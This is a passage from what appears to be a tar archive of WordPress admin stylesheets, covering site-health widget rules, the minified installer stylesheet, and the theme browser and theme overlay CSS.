grid-auto-rows: minmax(64px, auto); column-gap: 16px; align-items: center; } #dashboard_site_health .site-health-progress-label { margin-left: 0; } .health-check-widget-title-section { margin-bottom: 0; text-align: center; } @media screen and (max-width: 480px) { #dashboard_site_health .health-check-widget { grid-template-columns: 100%; } } @media screen and (max-width: 782px) { .site-health-issues-wrapper .health-check-accordion-trigger { flex-direction: column; align-items: flex-start; } .health-check-accordion-trigger .badge { margin: 1em 0 0; } .health-check-table { table-layout: fixed; } .health-check-table th, .health-check-table td { box-sizing: border-box; display: block; width: 100%; word-wrap: break-word; } .widefat.health-check-table th, .health-check-table td:first-child { width: 100%; padding-bottom: 0; font-weight: 600; } .wp-core-ui .site-health-copy-buttons .copy-button { margin-bottom: 0; } } css/install.min.css 0000644 00000012222 15233246127 0010302 0 ustar 00 /*! This file is auto-generated */ html{background:#f0f0f1;margin:0 20px}body{background:#fff;border:1px solid #c3c4c7;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;margin:140px auto 25px;padding:20px 20px 10px;max-width:700px;-webkit-font-smoothing:subpixel-antialiased;box-shadow:0 1px 1px rgba(0,0,0,.04)}a{color:var(--wp-admin-theme-color)}a:active,a:hover{color:var(--wp-admin-theme-color-darker-20)}a:focus{color:var(--wp-admin-theme-color-darker-20);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}h1,h2{border-bottom:1px solid #dcdcde;clear:both;color:#646970;font-size:24px;padding:0 0 7px;font-weight:400}h3{font-size:16px}dd,dt,li,p{padding-bottom:2px;font-size:14px;line-height:1.5}.code,code{font-family:Consolas,Monaco,monospace}dl,ol,ul{padding:5px 5px 5px 22px}a img{border:0}abbr{border:0;font-variant:normal}fieldset{border:0;padding:0;margin:0}#logo{margin:-130px auto 25px;padding:0 0 25px;width:84px;height:84px;overflow:hidden;background-image:url(../images/w-logo-gray.png?ver=20260303);background-image:none,url(../images/wordpress-logo-gray.svg?ver=20260303);background-size:84px;background-position:center top;background-repeat:no-repeat;color:#3c434a;font-size:20px;font-weight:400;line-height:1.3em;text-decoration:none;text-align:center;text-indent:-9999px;outline:0}.step{margin:20px 0 15px}.step,th{text-align:left;padding:0}.language-chooser.wp-core-ui .step .button.button-large{font-size:14px}textarea{border:1px solid #dcdcde;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;width:100%;box-sizing:border-box}.form-table{border-collapse:collapse;margin-top:1em;width:100%}.form-table td{margin-bottom:9px;padding:10px 20px 10px 0;font-size:14px;vertical-align:top}.form-table th{font-size:14px;text-align:left;padding:10px 20px 10px 0;width:115px;vertical-align:top}.form-table code{line-height:1.28571428;font-size:14px}.form-table p{margin:4px 0 0;font-size:11px}.form-table .setup-description{margin:4px 0 0;line-height:1.6}.form-table input{line-height:1.33333333;font-size:15px;padding:3px 5px}.wp-pwd{margin-top:0}.form-table .wp-pwd{display:flex;column-gap:4px}.form-table .password-input-wrapper{width:100%}input,submit{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif}#pass-strength-result,.form-table input[type=email],.form-table input[type=password],.form-table input[type=text],.form-table input[type=url]{width:100%}.form-table th p{font-weight:400}.form-table.install-success td,.form-table.install-success th{vertical-align:middle;padding:16px 20px 16px 0}.form-table.install-success td p{margin:0;font-size:14px}.form-table.install-success td code{margin:0;font-size:18px}#error-page{margin-top:50px}#error-page p{font-size:14px;line-height:1.28571428;margin:25px 0 20px}#error-page code,.code{font-family:Consolas,Monaco,monospace}.message{border-left:4px solid #d63638;padding:.7em .6em;background-color:#fcf0f1}#admin_email,#dbhost,#dbname,#pass1,#pass2,#prefix,#pwd,#uname,#user_login{direction:ltr}.rtl input,.rtl submit,.rtl textarea,body.rtl{font-family:Tahoma,sans-serif}:lang(he-il) .rtl input,:lang(he-il) .rtl submit,:lang(he-il) .rtl textarea,:lang(he-il) body.rtl{font-family:Arial,sans-serif}@media only screen and (max-width:799px){body{margin-top:115px}#logo a{margin:-125px auto 30px}}@media screen and (max-width:782px){.form-table{margin-top:0}.form-table td,.form-table th{display:block;width:auto;vertical-align:middle}.form-table th{padding:20px 0 0}.form-table td{padding:5px 0;border:0;margin:0}input,textarea{font-size:16px}.form-table span.description,.form-table td input[type=email],.form-table td input[type=password],.form-table td input[type=text],.form-table td input[type=url],.form-table td select,.form-table td textarea{width:100%;font-size:16px;line-height:1.5;padding:7px 10px;display:block;max-width:none;box-sizing:border-box}#pwd{padding-right:2.5rem}.wp-pwd #pass1{padding-right:50px}.wp-pwd .button.wp-hide-pw{right:0}#pass-strength-result{width:100%}}body.language-chooser{max-width:300px}.language-chooser select{padding:8px;width:100%;display:block;border:1px solid #dcdcde;background:#fff;color:#2c3338;font-size:16px;font-family:Arial,sans-serif;font-weight:400}.language-chooser select:focus{color:#2c3338}.language-chooser select option:focus,.language-chooser select option:hover{color:var(--wp-admin-theme-color-darker-20)}.language-chooser .step{text-align:right}.screen-reader-input,.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}.spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;visibility:hidden;opacity:.7;width:20px;height:20px;margin:2px 5px 0}.step .spinner{display:inline-block;vertical-align:middle;margin-right:15px}.button.hide-if-no-js,.hide-if-no-js{display:none}@media print,(min-resolution:120dpi){.spinner{background-image:url(../images/spinner-2x.gif)}} css/themes.css 0000644 00000125732 15233246127 0007352 0 ustar 00 /*------------------------------------------------------------------------------ 16.0 - Themes ------------------------------------------------------------------------------*/ /*------------------------------------------------------------------------------ 16.1 - Manage Themes ------------------------------------------------------------------------------*/ .themes-php { overflow-y: scroll; } .themes-php #adminmenuwrap { z-index: 10001; /* above Theme Overlay */ } body.js .theme-browser.search-loading { display: none; } .theme-browser .themes { clear: both; } .themes-php .wrap h1 .button { margin-left: 20px; } /* Search form */ .themes-php .search-form { display: inline-flex; align-items: center; position: relative; top: 0; gap: .5rem; width: 100%; justify-content: end; } .themes-php .wp-filter-search { position: relative; margin: 0; width: 280px; } /* Position admin messages */ .theme .notice, .theme .notice.is-dismissible { left: 0; margin: 0; position: absolute; right: 0; top: 0; } /** * Main theme element * (has flexible margins) */ .theme-browser .theme { cursor: pointer; float: left; margin: 0 4% 4% 0; position: relative; width: 30.6%; background: #ffffff; border: 1px solid rgb(0, 0, 0, 0.1); border-radius: 8px; box-sizing: border-box; overflow: hidden; } .theme-browser .theme:nth-child(3n) { margin-right: 0; } .theme-browser .theme:hover, .theme-browser .theme.focus { cursor: pointer; } .theme-browser .theme .theme-name { font-size: 15px; font-weight: 600; height: 18px; margin: 0; padding: 16px 15px; border-top: 1px solid rgb(0, 0, 0, 0.1); overflow: hidden; white-space: nowrap; text-overflow: ellipsis; background: #ffffff; } /* Activate and Customize buttons, shown on hover and focus */ .theme-browser .theme .theme-actions { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; opacity: 0; transition: opacity 0.1s ease-in-out; height: auto; background: rgba(246, 247, 247, 0.7); border-left: 1px solid rgba(0, 0, 0, 0.05); } .theme-browser .theme:hover .theme-actions, .theme-browser .theme.focus .theme-actions { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; opacity: 1; } .theme-browser .theme .theme-actions .button-primary { margin-right: 3px; } /* Use compact size for space-constrained theme cards */ .theme-browser .theme .theme-actions .button.updated-message, .theme-browser .theme .theme-actions .button.updating-message, .theme-browser .theme .theme-actions .button { float: none; margin-left: 3px; } .theme-browser .theme .theme-actions .button.updated-message::before, .theme-browser .theme .theme-actions .button.updating-message::before { line-height: 1; vertical-align: text-bottom; position: relative; top: 2px; } /* Secondary buttons need white background for visibility on semi-transparent overlay */ .theme-browser .theme .theme-actions .button:not(.button-primary) { background: #fff; } .theme-browser .theme .theme-actions .button:not(.button-primary):hover { background: #f0f0f0; } .theme-browser .theme .theme-actions .button:not(.button-primary):focus { background: #fff; } /** * Theme Screenshot * * Has a fixed aspect ratio of 1.5 to 1 regardless of screenshot size * It is also responsive. */ .theme-browser .theme .theme-screenshot { display: block; overflow: hidden; position: relative; -webkit-backface-visibility: hidden; /* Prevents flicker of the screenshot on hover. */ transition: opacity 0.2s ease-in-out; } .theme-browser .theme .theme-screenshot:after { content: ""; display: block; padding-top: 66.66666%; /* using a 3/2 aspect ratio */ } .theme-browser .theme .theme-screenshot img { height: auto; position: absolute; left: 0; top: 0; width: 100%; transition: opacity 0.2s ease-in-out; } .theme-browser .theme:hover .theme-screenshot, .theme-browser .theme.focus .theme-screenshot { background: #fff; } .theme-browser.rendered .theme:hover .theme-screenshot img, .theme-browser.rendered .theme.focus .theme-screenshot img { opacity: 0.4; } .theme-browser .theme .more-details { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; opacity: 0; position: absolute; top: 35%; right: 20%; left: 20%; width: 60%; background: #1d2327; background: rgba(0, 0, 0, 0.7); color: #fff; font-size: 15px; text-shadow: 0 1px 0 rgba(0, 0, 0, 0.6); -webkit-font-smoothing: antialiased; font-weight: 600; padding: 15px 12px; text-align: center; border-radius: 3px; border: none; transition: opacity 0.1s ease-in-out; cursor: pointer; } .theme-browser .theme .more-details:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); } .theme-browser .theme.focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .theme-browser .theme.focus .more-details { opacity: 1; } /* Current theme needs to have its action always on view */ .theme-browser .theme.active.focus .theme-actions { display: block; } .theme-browser.rendered .theme:hover .more-details, .theme-browser.rendered .theme.focus .more-details { -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"; opacity: 1; } /** * The currently active theme */ .theme-browser .theme.active .theme-name { background: #1d2327; color: #fff; padding-right: 115px; font-weight: 300; box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.5); } .theme-browser .customize-control .theme.active .theme-name { padding-right: 15px; } .theme-browser .theme.active .theme-name span { font-weight: 600; } .theme-browser .theme.active .theme-actions { background: transparent; border-left: none; opacity: 1; } .theme-browser .theme.active .theme-actions .button-primary { border-color: #fff; } .theme-id-container { position: relative; } .theme-browser .theme.active .theme-actions, .theme-browser .theme .theme-actions { position: absolute; top: 50%; transform: translateY(-50%); right: 0; padding: 9px 12px; } .theme-browser .theme:not(.active) .theme-actions { box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1); } .theme-browser .theme.active .theme-actions .button-primary { margin-right: 0; } /* Active theme secondary buttons need white background for visibility on dark overlay */ .theme-browser .theme.active .theme-actions .button:not(.button-primary) { background: #fff; } .theme-browser .theme.active .theme-actions .button:not(.button-primary):hover { background: #f0f0f0; } .theme-browser .theme.active .theme-actions .button:not(.button-primary):focus { background: #fff; } .theme-browser .theme .theme-author { background: #1d2327; color: #f0f0f1; display: none; font-size: 14px; margin: 0 10px; padding: 5px 10px; position: absolute; bottom: 56px; } .theme-browser .theme.display-author .theme-author { display: block; } .theme-browser .theme.display-author .theme-author a { color: inherit; } /** * Add new theme */ .theme-browser .theme.add-new-theme { background: transparent; border: none; overflow: visible; } .theme-browser .theme.add-new-theme a { text-decoration: none; display: block; position: relative; z-index: 1; } .theme-browser .theme.add-new-theme a:after { display: block; content: ""; background: transparent; background: rgba(0, 0, 0, 0); position: absolute; top: 0; left: 0; right: 0; bottom: 0; padding: 0; text-shadow: none; border: 5px dashed #dcdcde; border: 5px dashed rgba(0, 0, 0, 0.1); box-sizing: border-box; } .theme-browser .theme.add-new-theme span:after { background: #dcdcde; background: rgba(140, 143, 148, 0.1); border-radius: 50%; display: inline-block; content: "\f132"; content: "\f132" / ''; -webkit-font-smoothing: antialiased; font: normal 74px/115px dashicons; width: 100px; height: 100px; vertical-align: middle; text-align: center; color: #8c8f94; position: absolute; top: 30%; left: 50%; margin-left: -50px; text-indent: -4px; padding: 0; text-shadow: none; z-index: 4; } .rtl .theme-browser .theme.add-new-theme span:after { text-indent: 4px; } .theme-browser .theme.add-new-theme a:hover .theme-screenshot, .theme-browser .theme.add-new-theme a:focus .theme-screenshot { background: none; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { background: #fff; color: #2271b1; } .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { border-color: transparent; color: #fff; background: #2271b1; content: ""; } .theme-browser .theme.add-new-theme .theme-name { background: none; border: none; text-align: center; font-weight: 400; position: relative; top: 0; margin-top: -18px; padding-top: 0; padding-bottom: 48px; } .theme-browser .theme.add-new-theme a:hover .theme-name, .theme-browser .theme.add-new-theme a:focus .theme-name { color: #fff; z-index: 2; } /** * Theme Overlay * Shown when clicking a theme */ .theme-overlay .theme-backdrop { position: absolute; left: -20px; right: 0; top: 0; bottom: 0; background: #f0f0f1; background: rgba(240, 240, 241, 0.9); z-index: 10000; /* Over WP Pointers. */ min-height: calc(100vh - var(--wp-admin--admin-bar--height, 32px)); } .theme-overlay .theme-header { position: absolute; top: 0; left: 0; right: 0; height: 48px; border-bottom: 1px solid #dcdcde; } .theme-overlay .theme-header button { padding: 0; } .theme-overlay .theme-header .close { cursor: pointer; height: 48px; width: 50px; text-align: center; float: right; border: 0; border-left: 1px solid #dcdcde; background-color: transparent; transition: color .1s ease-in-out, background .1s ease-in-out; } .theme-overlay .theme-header .close:before { font: normal 22px/50px dashicons !important; color: #787c82; display: inline-block; content: "\f335"; content: "\f335" / ''; font-weight: 300; } /* Left and right navigation */ .theme-overlay .theme-header .right, .theme-overlay .theme-header .left { cursor: pointer; color: #787c82; background-color: transparent; height: 48px; width: 54px; float: left; text-align: center; border: 0; border-right: 1px solid #dcdcde; transition: color .1s ease-in-out, background .1s ease-in-out; } .theme-overlay .theme-header .close:focus, .theme-overlay .theme-header .close:hover, .theme-overlay .theme-header .right:focus, .theme-overlay .theme-header .right:hover, .theme-overlay .theme-header .left:focus, .theme-overlay .theme-header .left:hover { background: #dcdcde; border-color: #c3c4c7; color: #000; } .theme-overlay .theme-header .close:focus:before, .theme-overlay .theme-header .close:hover:before { color: #000; } .theme-overlay .theme-header .close:focus, .theme-overlay .theme-header .right:focus, .theme-overlay .theme-header .left:focus { box-shadow: none; outline: none; } .theme-overlay .theme-header .left.disabled, .theme-overlay .theme-header .right.disabled, .theme-overlay .theme-header .left.disabled:hover, .theme-overlay .theme-header .right.disabled:hover { color: #c3c4c7; background: inherit; cursor: inherit; } .theme-overlay .theme-header .right:before, .theme-overlay .theme-header .left:before { font: normal 20px/50px dashicons !important; display: inline; font-weight: 300; } .theme-overlay .theme-header .left:before { content: "\f341"; content: "\f341" / ''; } .theme-overlay .theme-header .right:before { content: "\f345"; content: "\f345" / ''; } .theme-overlay .theme-wrap { clear: both; position: fixed; top: 9%; left: 190px; right: 30px; bottom: 3%; background: #fff; box-shadow: 0 1px 20px 5px rgba(0, 0, 0, 0.1); z-index: 10000; /* Over WP Pointers. */ box-sizing: border-box; -webkit-overflow-scrolling: touch; } body.folded .theme-browser ~ .theme-overlay .theme-wrap { left: 70px; } .theme-overlay .theme-about { position: absolute; top: 49px; bottom: 57px; left: 0; right: 0; overflow: auto; padding: 2% 4%; } .theme-overlay .theme-actions { position: absolute; text-align: center; bottom: 0; left: 0; right: 0; padding: 10px 25px 5px; background: #f6f7f7; z-index: 30; box-sizing: border-box; border-top: 1px solid #f0f0f1; display: flex; justify-content: center; gap: 5px; } .theme-overlay .theme-actions .button { margin-bottom: 5px; } /* Hide-if-customize for items we can't add classes to */ .customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"], .customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"] { display: none; } .broken-themes a.delete-theme, .theme-overlay .theme-actions .delete-theme { color: #b32d2e; text-decoration: none; border-color: transparent; box-shadow: none; background: transparent; } .broken-themes a.delete-theme:hover, .broken-themes a.delete-theme:focus, .theme-overlay .theme-actions .delete-theme:hover, .theme-overlay .theme-actions .delete-theme:focus { background: #b32d2e; color: #fff; border-color: #b32d2e; box-shadow: 0 0 0 1px #b32d2e; } .theme-overlay .theme-actions .active-theme, .theme-overlay.active .theme-actions .inactive-theme { display: none; } .theme-overlay .theme-actions .inactive-theme, .theme-overlay.active .theme-actions .active-theme { display: block; } /** * Theme Screenshots gallery */ .theme-overlay .theme-screenshots { float: left; margin: 0 30px 0 0; width: 55%; max-width: 1200px; /* Recommended theme screenshot width, set here to avoid stretching */ text-align: center; } /* First screenshot, shown big */ .theme-overlay .screenshot { border: 1px solid #fff; box-sizing: border-box; overflow: hidden; position: relative; box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.2); } .theme-overlay .screenshot:after { content: ""; display: block; padding-top: 75%; /* using a 4/3 aspect ratio */ } .theme-overlay .screenshot img { height: auto; position: absolute; left: 0; top: 0; width: 100%; } /* Handles old 300px screenshots */ .theme-overlay.small-screenshot .theme-screenshots { position: absolute; width: 302px; } .theme-overlay.small-screenshot .theme-info { margin-left: 350px; width: auto; } /* Other screenshots, shown small and square */ .theme-overlay .screenshot.thumb { background: #c3c4c7; border: 1px solid #f0f0f1; float: none; display: inline-block; margin: 10px 5px 0; width: 140px; height: 80px; cursor: pointer; } .theme-overlay .screenshot.thumb:after { content: ""; display: block; padding-top: 100%; /* using a 1/1 aspect ratio */ } .theme-overlay .screenshot.thumb img { cursor: pointer; height: auto; position: absolute; left: 0; top: 0; width: 100%; height: auto; } .theme-overlay .screenshot.selected { background: transparent; border: 2px solid #72aee6; } .theme-overlay .screenshot.selected img { opacity: 0.8; } /* No screenshot placeholder */ .theme-browser .theme .theme-screenshot.blank, .theme-overlay .screenshot.blank { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=); } /** * Theme heading information */ .theme-overlay .theme-info { width: 40%; float: left; } .theme-overlay .current-label { background: #2c3338; color: #fff; font-size: 11px; display: inline-block; padding: 2px 8px; border-radius: 2px; margin: 0 0 -10px; -webkit-user-select: none; user-select: none; } .theme-overlay .theme-name { color: #1d2327; font-size: 32px; font-weight: 100; margin: 10px 0 0; line-height: 1.3; word-wrap: break-word; overflow-wrap: break-word; } .theme-overlay .theme-version { color: #646970; font-size: 13px; font-weight: 400; float: none; display: inline-block; margin-left: 10px; } .theme-overlay .theme-author { margin: 15px 0 25px; color: #646970; font-size: 16px; font-weight: 400; line-height: inherit; } .theme-overlay .toggle-auto-update { /* Better align spin icon and text. */ display: inline-flex; align-items: center; /* Prevents content after the auto-update toggler from jumping down and up. */ min-height: 20px; /* Same height as the spinning dashicon. */ vertical-align: top; } .theme-overlay .theme-autoupdate .toggle-auto-update { text-decoration: none; } .theme-overlay .theme-autoupdate .toggle-auto-update .label { text-decoration: underline; } .theme-overlay .theme-description { color: #50575e; font-size: 15px; font-weight: 400; line-height: 1.5; margin: 30px 0 0; } .theme-overlay .theme-tags { border-top: 3px solid #f0f0f1; color: #646970; font-size: 13px; font-weight: 400; margin: 30px 0 0; padding-top: 20px; } .theme-overlay .theme-tags span { color: #3c434a; font-weight: 600; margin-right: 5px; } .theme-overlay .parent-theme { background: #fff; border: 1px solid #f0f0f1; border-left: 4px solid #72aee6; font-size: 14px; font-weight: 400; margin-top: 30px; padding: 10px 10px 10px 20px; } .theme-overlay .parent-theme strong { font-weight: 600; } /** * Single Theme Mode * Displays detailed view inline when a user has no switch capabilities */ .single-theme .theme-overlay .theme-backdrop, .single-theme .theme-overlay .theme-header, .single-theme .theme { display: none; } .single-theme .theme-overlay .theme-wrap { clear: both; min-height: 330px; position: relative; left: auto; right: auto; top: auto; bottom: auto; z-index: 10; } .single-theme .theme-overlay .theme-about { padding: 30px 30px 70px; position: static; } .single-theme .theme-overlay .theme-actions { position: absolute; } /** * Basic Responsive structure... * * Shuffles theme columns around based on screen width */ @media only screen and (min-width: 2000px) { #wpwrap .theme-browser .theme { width: 17.6%; margin: 0 3% 3% 0; } #wpwrap .theme-browser .theme:nth-child(3n), #wpwrap .theme-browser .theme:nth-child(4n) { margin-right: 3%; } #wpwrap .theme-browser .theme:nth-child(5n) { margin-right: 0; } } @media only screen and (min-width: 1680px) { .theme-overlay .theme-wrap { width: 1450px; margin: 0 auto; } } /* Maximum screenshot width reaches 440px */ @media only screen and (min-width: 1640px) { .theme-browser .theme { width: 22.7%; margin: 0 3% 3% 0; } .theme-browser .theme .theme-screenshot:after { padding-top: 75%; /* using a 4/3 aspect ratio */ } .theme-browser .theme:nth-child(3n) { margin-right: 3%; } .theme-browser .theme:nth-child(4n) { margin-right: 0; } } /* Maximum screenshot width reaches 440px */ @media only screen and (max-width: 1120px) { .theme-browser .theme { width: 47.5%; margin-right: 0; } .theme-browser .theme:nth-child(even) { margin-right: 0; } .theme-browser .theme:nth-child(odd) { margin-right: 5%; } } /* Admin menu is folded */ @media only screen and (max-width: 960px) { .theme-overlay .theme-wrap { left: 65px; } } @media only screen and (max-width: 782px) { body.folded .theme-overlay .theme-wrap, .theme-overlay .theme-wrap { top: 0; /* The adminmenu isn't fixed on mobile, so this can use the full viewport height */ right: 0; bottom: 0; left: 0; padding: 70px 20px 20px; border: none; z-index: 100000; /* should overlap #wpadminbar. */ position: fixed; } .theme-browser .theme.active .theme-name span { /* Hide the "Active: " label on smaller screens. */ display: none; } .theme-overlay .theme-screenshots { width: 40%; } .theme-overlay .theme-info { width: 50%; } .single-theme .theme-wrap { padding: 10px; } .theme-browser .theme .theme-actions { padding: 5px 10px 4px; } .theme-overlay.small-screenshot .theme-screenshots { position: static; float: none; max-width: 302px; } .theme-overlay.small-screenshot .theme-info { margin-left: 0; width: auto; } .theme:not(.active):hover .theme-actions, .theme:not(.active):focus .theme-actions, .theme:hover .more-details, .theme.focus .more-details { display: none; } .theme-browser.rendered .theme:hover .theme-screenshot img, .theme-browser.rendered .theme.focus .theme-screenshot img { opacity: 1.0; } } @media only screen and (max-width: 480px) { .theme-browser .theme { width: 100%; margin-right: 0; } .theme-browser .theme:nth-child(2n), .theme-browser .theme:nth-child(3n) { margin-right: 0; } .theme-overlay .theme-about { bottom: 105px; } .theme-overlay .theme-actions { padding-left: 4%; padding-right: 4%; } .theme-install-php .wp-filter .filter-count { margin-top: 10px; } } @media only screen and (max-width: 650px) { .theme-overlay .theme-description { margin-left: 0; } .theme-overlay .theme-actions .delete-theme { position: relative; right: auto; bottom: auto; } .theme-overlay .theme-actions .inactive-theme { display: inline; } .theme-overlay .theme-screenshots { width: 100%; float: none; margin: 0; } .theme-overlay .theme-info { width: 100%; } .theme-overlay .theme-author { margin: 5px 0 15px; } .theme-overlay .current-label { margin-top: 10px; font-size: 13px; } .themes-php .wp-filter-search { width: 100%; } .theme-install-php .wp-filter p.search-box { display: grid; row-gap: .5rem; } .theme-browser .theme.add-new-theme span:after { font: normal 60px/90px dashicons; width: 80px; height: 80px; top: 30%; left: 50%; text-indent: 0; margin-left: -40px; } .single-theme .theme-wrap { margin: 0 -12px 0 -10px; padding: 10px; } .single-theme .theme-overlay .theme-about { padding: 10px; overflow: visible; } .single-theme .current-label { display: none; } .single-theme .theme-overlay .theme-actions { position: static; } } .broken-themes { clear: both; } .broken-themes table { text-align: left; width: 50%; border-spacing: 3px; padding: 3px; } /*------------------------------------------------------------------------------ 16.2 - Install Themes ------------------------------------------------------------------------------*/ .update-php .wrap { max-width: 40rem; } /* Already installed theme */ .theme-browser .theme .theme-installed { background: #2271b1; } .theme-browser .theme .notice-success p:before { color: #68de7c; content: "\f147"; content: "\f147" / ''; display: inline-block; font: normal 20px/1 'dashicons'; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: top; } .theme-install.updated-message:before { content: ""; } .theme-install-php .wp-filter { padding-left: 20px; } /* Override column gap adjustment in media library. */ @media only screen and (max-width: 1000px) { .theme-install-php .wp-filter p.search-box { column-gap: .5rem; } } .theme-install-php a.upload, .theme-install-php a.browse-themes { cursor: pointer; } .upload-view-toggle .browse, .plugin-install-tab-upload .upload-view-toggle .upload { display: none; } .plugin-install-tab-upload .upload-view-toggle .browse { display: inline; } .upload-theme, .upload-plugin { box-sizing: border-box; display: none; margin: 0; padding: 50px 0; width: 100%; overflow: hidden; position: relative; top: 10px; text-align: center; } .show-upload-view .upload-theme, .show-upload-view .upload-plugin, .show-upload-view .upload-plugin-wrap, .plugin-install-tab-upload .upload-plugin { display: block; } .upload-theme .wp-upload-form, .upload-plugin .wp-upload-form { position: relative; margin: 30px; display: inline-flex; justify-content: space-between; align-items: center; border: 1px solid #c3c4c7; background: #f6f7f7; } .upload-theme .wp-upload-form input[type="file"], .upload-plugin .wp-upload-form input[type="file"] { background: transparent; margin: 0; padding: 30px 0 30px 30px; } .wp-upload-form input[type="submit"].button { margin-right: 30px; } .upload-theme .install-help, .upload-plugin .install-help { color: #50575e; /* #f1f1f1 background */ font-size: 18px; font-style: normal; margin: 0; padding: 0; text-align: center; } p.no-themes, p.no-themes-local { clear: both; color: #646970; font-size: 18px; font-style: normal; margin: 0; padding: 100px 0; text-align: center; display: none; } .no-results p.no-themes { display: block; } .theme-install-php .add-new-theme { display: none !important; } @media only screen and (max-width: 1120px) { .upload-plugin .wp-upload-form, .upload-theme .wp-upload-form { margin: 20px 0; max-width: 100%; } .upload-theme .install-help { font-size: 15px; padding: 20px 0 0; } } .theme-details .theme-rating { line-height: 1.9; } .theme-details .star-rating { display: inline; } .theme-details .num-ratings, .theme-details .no-rating { font-size: 11px; color: #646970; } .theme-details .no-rating { display: block; line-height: 1.9; } .update-from-upload-comparison { border-top: 1px solid #dcdcde; border-bottom: 1px solid #dcdcde; text-align: left; margin: 1rem 0 1.4rem; border-collapse: collapse; width: 100%; } .update-from-upload-comparison tr:last-child td { height: 1.4rem; vertical-align: top; } .update-from-upload-comparison tr:first-child th { font-weight: bold; height: 1.4rem; vertical-align: bottom; } .update-from-upload-comparison td.name-label { text-align: right; } .update-from-upload-comparison td, .update-from-upload-comparison th { padding: 0.4rem 1.4rem; } .update-from-upload-comparison td.warning { color: #d63638; } .update-from-upload-actions { margin-top: 1.4rem; } /*------------------------------------------------------------------------------ 16.3 - Custom Header Screen ------------------------------------------------------------------------------*/ .appearance_page_custom-header #headimg { border: 1px solid #dcdcde; overflow: hidden; width: 100%; } .appearance_page_custom-header #upload-form p label { font-size: 12px; } .appearance_page_custom-header .available-headers .default-header { float: left; margin: 0 20px 20px 0; } .appearance_page_custom-header .random-header { clear: both; margin: 0 20px 20px 0; vertical-align: middle; } .appearance_page_custom-header .available-headers label input, .appearance_page_custom-header .random-header label input { margin-right: 10px; } .appearance_page_custom-header .available-headers label img { vertical-align: middle; } /*------------------------------------------------------------------------------ 16.4 - Custom Background Screen ------------------------------------------------------------------------------*/ div#custom-background-image { min-height: 100px; border: 1px solid #dcdcde; } div#custom-background-image img { max-width: 400px; max-height: 300px; } .background-position-control input[type="radio"]:checked ~ .button { background: #f0f0f1; border-color: #8c8f94; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); z-index: 1; } .background-position-control input[type="radio"]:focus ~ .button { border-color: #4f94d4; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5), 0 0 3px rgba(34, 113, 177, 0.8); color: #1d2327; } .background-position-control .background-position-center-icon, .background-position-control .background-position-center-icon:before { display: inline-block; line-height: 1; text-align: center; transition: background-color .1s ease-in; } .background-position-control .background-position-center-icon { height: 20px; margin-top: 13px; vertical-align: top; width: 20px; } .background-position-control .background-position-center-icon:before { background-color: #50575e; border-radius: 50%; content: ""; height: 12px; width: 12px; } .background-position-control .button:hover .background-position-center-icon:before, .background-position-control input[type="radio"]:focus ~ .button .background-position-center-icon:before { background-color: #1d2327; } .background-position-control .button-group { display: block; } .background-position-control .button-group .button { border-radius: 0; box-shadow: none; /* Following properties are overridden by buttons responsive styles (see: wp-includes/css/buttons.css). */ height: 40px !important; line-height: 2.9 !important; margin: 0 -1px 0 0 !important; padding: 0 10px 1px !important; position: relative; } .background-position-control .button-group .button:active, .background-position-control .button-group .button:hover, .background-position-control .button-group .button:focus { z-index: 1; } .background-position-control .button-group:last-child .button { box-shadow: 0 1px 0 #c3c4c7; } .background-position-control .button-group > label { margin: 0 !important; } .background-position-control .button-group:first-child > label:first-child .button { border-radius: 3px 0 0; } .background-position-control .button-group:first-child > label:first-child .dashicons { transform: rotate( 45deg ); } .background-position-control .button-group:first-child > label:last-child .button { border-radius: 0 3px 0 0; } .background-position-control .button-group:first-child > label:last-child .dashicons { transform: rotate( -45deg ); } .background-position-control .button-group:last-child > label:first-child .button { border-radius: 0 0 0 3px; } .background-position-control .button-group:last-child > label:first-child .dashicons { transform: rotate( -45deg ); } .background-position-control .button-group:last-child > label:last-child .button { border-radius: 0 0 3px; } .background-position-control .button-group:last-child > label:last-child .dashicons { transform: rotate( 45deg ); } .background-position-control .button-group + .button-group { margin-top: -1px; } /*------------------------------------------------------------------------------ 23.0 - Full Overlay w/ Sidebar ------------------------------------------------------------------------------*/ body.full-overlay-active { overflow: hidden; /* Hide all the content, the Customizer overlay is then made visible to be the only available content. */ visibility: hidden; } 